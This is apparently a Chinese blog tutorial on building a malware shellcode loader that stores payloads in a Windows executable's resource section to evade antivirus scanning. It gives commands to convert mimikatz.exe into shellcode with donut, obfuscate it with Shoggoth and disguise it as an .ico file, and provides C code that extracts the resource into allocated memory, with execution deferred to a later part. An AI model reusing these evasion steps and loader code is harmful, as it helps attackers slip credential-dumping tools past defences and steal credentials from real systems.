从Resource中加载shellcode

文摘   2023-12-22 14:07   广东  

前言

在开发malware过程中通常有两种加载shellcode方式:

1.把shellcode直接以硬编码的方式写入代码中    2.采用分离加载的方式 制作一个shellcode loader 从本地读取shellcode到内存中进行运行。

本文先讲解第一种方式,这个方式有一定的缺陷。

  • 把shellcode与loader放一起编写。即使shellcode 进行了加密与混淆操作,把成品放到vt上进行扫描也很大概率被查杀。

  • 如果要对工具进行免杀,则需把工具 exe转为shellcode 写成c语言格式则有上千行。若把它粘贴到vs2019等IDE去可能会直接程序无响应了。所以可以把转换出来的shellcode可以写进资源(Resource)中。

零、 所需要的工具

  • VS2019

  • donut  https://github.com/TheWover/donut

  • Shoggoth https://github.com/frkngksl/Shoggoth

  • 使用C语言 Win32编程

一、需要的Windows API

HRSRC FindResourceA([in, optional] HMODULE hModule,[in]           LPCSTR  lpName,[in]           LPCSTR  lpType);

lpName: 可以使用MAKEINTRESOURCE(ID)获取lpType:RT_RCDATA  Application-defined resource (raw data).

HGLOBAL LoadResource(  [in, optional] HMODULE hModule,  [in]           HRSRC   hResInfo);
LPVOID LockResource( [in] HGLOBAL hResData);LPVOID VirtualAlloc( [in, optional] LPVOID lpAddress, [in] SIZE_T dwSize, [in] DWORD flAllocationType, [in] DWORD flProtect);

二、具体步骤

将所需要免杀的工具转成shellcode

`donut.exe -i .\mimikatz.exe -o mimi.bin`

使用多态加密混淆工具混淆下shellcode

Shoggoth.exe  -i .\mimi.bin -s 1235sfafsf -o mimi_fin.ico

打开VS2019

在资源文件中添加资源文件(rc)

导入生成的mimi_fin.ico(注意后缀名)

输入RCDATA 即可

代码编写

#include <stdio.h>#include<Windows.h>#include"resource.h"
void PrintHexData(LPCSTR Name, PBYTE Data, SIZE_T Size) {
printf("unsigned char %s[] = {", Name);
for (int i = 0; i < Size; i++) { if (i % 16 == 0) { printf("\n\t"); } if (i < Size - 1) { printf("0x%0.2X, ", Data[i]); } else { printf("0x%0.2X ", Data[i]); } }
printf("};\n\n\n");
}int main(){ HRSRC hRSrc = NULL; HGLOBAL hGlobal = NULL; LPVOID pTmpShellcode = NULL; LPVOID pShellcode = NULL; size_t sShellcodeSize = 0; hRSrc= FindResource(NULL, MAKEINTRESOURCEW(IDR_RCDATA1), RT_RCDATA); //确定shellcode资源在模块中的位置 if (!hRSrc) { printf("资源未找到!\n"); return -1; } hGlobal=LoadResource(NULL, hRSrc); //获取句柄 if (!hGlobal) { printf("加载资源失败\n"); return -1; } pTmpShellcode =LockResource(hGlobal); //找到资源所在内存中的地址 if (!pTmpShellcode) { printf("获取资源中shellcode地址失败"); return -1; } sShellcodeSize=SizeofResource(NULL,hRSrc); if (!sShellcodeSize ) { // in case of function failure printf("获取shellcode大小失败\n"); return -1; } pShellcode= VirtualAlloc(NULL, sShellcodeSize, MEM_COMMIT, PAGE_READWRITE); if (pShellcode) { MoveMemory(pShellcode, pTmpShellcode, sShellcodeSize); } else { printf("内存分配失败\n"); return -1; } printf("[+]pShellcode的地址为:%p\n",pShellcode); printf("[+]sShellcodeSize的大小为%d\n", sShellcodeSize); PrintHexData("shellcode", pShellcode, sShellcodeSize); return 0;}

总结

这篇文章先讲到把Mimikatz的shellcode加载进内存 。下篇继续讲解!由于本人才疏学浅,有所错误请师傅们多多指教!


moonsec
暗月博客
 最新文章